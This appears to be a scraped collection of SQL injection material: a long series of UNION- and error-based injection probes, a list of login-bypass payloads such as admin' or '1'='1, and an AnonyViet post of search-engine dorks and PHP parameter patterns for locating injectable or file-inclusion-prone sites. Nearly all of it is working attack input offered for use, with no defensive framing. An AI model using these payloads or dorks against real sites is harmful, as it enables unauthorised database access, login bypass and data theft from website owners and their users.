 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))#
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))#
 UNION ALL SELECT NULL 
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)))
 AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
 AND 5650=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (5650=5650) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113)))
 AND 3516=CAST((CHR(113)||CHR(106)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (3516=3516) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(112)||CHR(106)||CHR(107)||CHR(113)) AS NUMERIC)
 AND (SELECT 4523 FROM(SELECT COUNT(*),CONCAT(0x716a7a6a71,(SELECT (ELT(4523=4523,1))),0x71706a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
 UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX'
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
 UNION ALL SELECT 'INJ'||'ECT'||'XXX'-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- 
 UNION ALL SELECT 'INJ'||'ECT'||'XXX'#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#

The Payload SQL Injection Bypass

'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Rate this post

Dork SQL 2015 – AnonyViet

AnonyViet — Wed, 01 Feb 2023 02:51:39 +0000

List dork sql injection 2015

Join the channel Telegram of the AnonyViet 👉 Link 👈

trainers.php?id=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
newsDetail.php?id=
staff_id=
historialeer.php?num=
product-item.php?id=
news_view.php?id=
humor.php?id=
communique_detail.php?id=
sem.php3?id=
opinions.php?id=
spr.php?id=
pages.php?id=
chappies.php?id=
prod_detail.php?id=
viewphoto.php?id=
view.php?id=
website.php?id=
hosting_info.php?id=
gery.php?id=
detail.php?ID=
publications.php?id=
Productinfo.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
product_ranges_view.php?ID=
shop_category.php?id=
channel_id=
newsid=
news_display.php?getid=
ages.php?id=
clanek.php4?id=
review.php?id=
iniziativa.php?in=
curriculum.php?id=
labels.php?id=
look.php?ID=
galeri_info.php?l=
tekst.php?idt=
newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
offer.php?idf=
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: getimagesize()
"id=" & intext:"Warning: session_start()
"id=" & intext:"Warning: mysql_num_rows()
"id=" & intext:"Warning: mysql_query()
"id=" & intext:"Warning: array_merge()
"id=" & intext:"Warning: preg_match()
"id=" & intext:"Warning: ilesize()
"id=" & intext:"Warning: filesize()
index.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
newsitem.php?num=
top10.php?cat=
historialeer.php?num=
reagir.php?num=
Stray-Questions-View.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
sql.php?id=
news_view.php?id=
select_biblio.php?id=
humor.php?id=
ogl_inet.php?ogl_id=
fiche_spectacle.php?id=
communique_detail.php?id=
sem.php3?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
preview.php?id=
loadpsb.php?id=
opinions.php?id=
spr.php?id=
announce.php?id=
participant.php?id=
download.php?id=
main.php?id=
review.php?id=
chappies.php?id=
read.php?id=
prod_detail.php?id=
article.php?id=
person.php?id=
productinfo.php?id=
showimg.php?id=
view.php?id=
website.php?id=
hosting_info.php?id=
gery.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
detail.php?ID=
index.php?=
profile_view.php?id=
category.php?id=
publications.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
collectionitem.php?id=
band_info.php?id=
product.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
tradeCategory.php?id=
product_ranges_view.php?ID=
shop_category.php?id=
transcript.php?id=
channel_id=
item_id=
newsid=
trainers.php?id=
news-full.php?id=
news_display.php?getid=
index2.php?option=
readnews.php?id=
newsone.php?id=
product-item.php?id=
pages.php?id=
clanek.php4?id=
viewapp.php?id=
viewphoto.php?id=
galeri_info.php?l=
iniziativa.php?in=
curriculum.php?id=
labels.php?id=
story.php?id=
look.php?ID=
aboutbook.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: is_writable()
"id=" & intext:"Warning: Unknown()
"id=" & intext:"Warning: mysql_result()
"id=" & intext:"Warning: pg_exec()
"id=" & intext:"Warning: require()
buy.php?category=
pageid=
page.php?file=
show.php?id=
newsitem.php?num=
readnews.php?id=
top10.php?cat=
reagir.php?num=
Stray-Questions-View.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
sql.php?id=
select_biblio.php?id=
ogl_inet.php?ogl_id=
fiche_spectacle.php?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
loadpsb.php?id=
announce.php?id=
participant.php?id=
download.php?id=
article.php?id=
person.php?id=
productinfo.php?id=
showimg.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
index.php?=
profile_view.php?id=
category.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
collectionitem.php?id=
band_info.php?id=
product.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
tradeCategory.php?id=
transcript.php?id=
item_id=
news-full.php?id=
aboutbook.php?id=
preview.php?id=
material.php?id=
read.php?id=
viewapp.php?id=
story.php?id=
newsone.php?id=
rubp.php?idr=
art.php?idm=
title.php?id=
index1.php?modo=
include.php?*[*]*=
nota.php?pollname=
index3.php?p=
padrao.php?pre=
home.php?pa=
main.php?type=
sitio.php?start=
*.php?include=
general.php?xlink=
show.php?go=
nota.php?ki=
down*.php?oldal=
layout.php?disp=
enter.php?chapter=
base.php?incl=
enter.php?mod=
show.php?corpo=
head.php?*[*]*=
info.php?strona=
template.php?str=
main.php?doshow=
view.php?*[*]*=
index.php?to=
page.php?cmd=
view.php?b=
info.php?option=
show.php?x=
template.php?texto=
index3.php?ir=
print.php?chapter=
file.php?inc=
file.php?cont=
view.php?cmd=
include.php?chapter=
path.php?my=
principal.php?param=
general.php?menue=
index1.php?b=
info.php?chapter=
nota.php?chapter=
general.php?include=
start.php?addr=
index1.php?qry=
index1.php?loc=
page.php?addr=
index1.php?dir=
principal.php?pr=
press.php?seite=
head.php?cmd=
home.php?sec=
home.php?category=
standard.php?cmd=
mod*.php?thispage=
base.php?to=
view.php?choix=
base.php?panel=
template.php?mod=
info.php?j=
blank.php?pref=
sub*.php?channel=
standard.php?in=
general.php?cmd=
pagina.php?panel=
template.php?where=
path.php?channel=
gery.php?seccion=
page.php?tipo=
sitio.php?rub=
pagina.php?u=
file.php?ir=
*inc*.php?sivu=
path.php?start=
page.php?chapter=
home.php?recipe=
enter.php?pname=
layout.php?path=
print.php?open=
mod*.php?channel=
down*.php?phpbb_root_path=
*inc*.php?str=
gery.php?phpbb_root_path=
include.php?middlePart=
sub*.php?destino=
info.php?read=
home.php?sp=
main.php?strona=
sitio.php?get=
sitio.php?index=
index3.php?option=
enter.php?a=
main.php?second=
print.php?pname=
blank.php?itemnav=
blank.php?pagina=
index1.php?d=
down*.php?where=
*inc*.php?include=
path.php?pre=
home.php?loader=
start.php?eval=
index.php?disp=
head.php?mod=
sitio.php?section=
nota.php?doshow=
home.php?seite=
home.php?a=
page.php?url=
pagina.php?left=
layout.php?c=
principal.php?goto=
standard.php?base_dir=
home.php?where=
page.php?sivu=
*inc*.php?adresa=
padrao.php?str=
include.php?my=
show.php?home=
index.php?load=
index3.php?rub=
sub*.php?str=
start.php?index=
nota.php?mod=
sub*.php?mid=
index1.php?*[*]*=
pagina.php?oldal=
padrao.php?loc=
padrao.php?rub=
page.php?incl=
gery.php?disp=
nota.php?oldal=
include.php?u=
principal.php?pagina=
print.php?choix=
head.php?filepath=
include.php?corpo=
sub*.php?action=
head.php?pname=
press.php?dir=
show.php?xlink=
file.php?left=
nota.php?destino=
general.php?module=
index3.php?redirect=
down*.php?param=
default.php?ki=
padrao.php?h=
padrao.php?read=
mod*.php?cont=
index1.php?l=
down*.php?pr=
gery.php?viewpage=
template.php?load=
nota.php?pr=
padrao.php?destino=
index2.php?channel=
principal.php?opcion=
start.php?str=
press.php?*[*]*=
index.php?ev=
pagina.php?pre=
nota.php?content=
include.php?adresa=
sitio.php?t=
index.php?sivu=
principal.php?q=
path.php?ev=
print.php?module=
index.php?loc=
nota.php?basepath=
padrao.php?tipo=
index2.php?in=
principal.php?eval=
file.php?qry=
info.php?t=
enter.php?play=
general.php?var=
principal.php?s=
standard.php?pagina=
standard.php?subject=
base.php?second=
head.php?inc=
pagina.php?basepath=
main.php?pname=
*inc*.php?modo=
include.php?goto=
file.php?pg=
head.php?g=
general.php?header=
start.php?*root*=
enter.php?pref=
index3.php?open=
start.php?module=
main.php?load=
enter.php?pg=
padrao.php?redirect=
pagina.php?my=
gery.php?pre=
enter.php?w=
info.php?texto=
enter.php?open=
base.php?rub=
gery.php?*[*]*=
include.php?cmd=
standard.php?dir=
layout.php?page=
index3.php?pageweb=
include.php?numero=
path.php?destino=
index3.php?home=
default.php?seite=
path.php?eval=
base.php?choix=
template.php?cont=
info.php?pagina=
default.php?x=
default.php?option=
gery.php?ki=
down*.php?second=
blank.php?path=
pagina.php?v=
file.php?pollname=
index3.php?var=
layout.php?goto=
pagina.php?incl=
home.php?action=
include.php?oldal=
print.php?left=
print.php?u=
nota.php?v=
home.php?str=
press.php?panel=
page.php?mod=
default.php?param=
down*.php?texto=
mod*.php?dir=
view.php?where=
blank.php?subject=
path.php?play=
base.php?l=
index2.php?rub=
general.php?opcion=
layout.php?xlink=
padrao.php?name=
pagina.php?nivel=
default.php?oldal=
template.php?k=
main.php?chapter=
layout.php?chapter=
layout.php?incl=
include.php?url=
base.php?sivu=
index.php?link=
sub*.php?cont=
info.php?oldal=
general.php?rub=
default.php?str=
head.php?ev=
sub*.php?path=
view.php?page=
main.php?j=
index2.php?basepath=
gery.php?qry=
main.php?url=
default.php?incl=
show.php?redirect=
index1.php?pre=
general.php?base_dir=
start.php?in=
show.php?abre=
index1.php?home=
home.php?ev=
index2.php?ki=
base.php?pag=
default.php?ir=
general.php?qry=
index2.php?home=
press.php?nivel=
enter.php?pr=
blank.php?loader=
start.php?cmd=
padrao.php?d=
sitio.php?recipe=
principal.php?read=
standard.php?showpage=
main.php?pg=
page.php?panel=
press.php?addr=
template.php?s=
main.php?tipo=
*inc*.php?ev=
padrao.php?page=
show.php?thispage=
home.php?secao=
main.php?start=
enter.php?mid=
press.php?id=
main.php?inc=
index3.php?cmd=
index.php?pname=
press.php?subject=
include.php?sec=
index3.php?xlink=
general.php?texto=
index3.php?go=
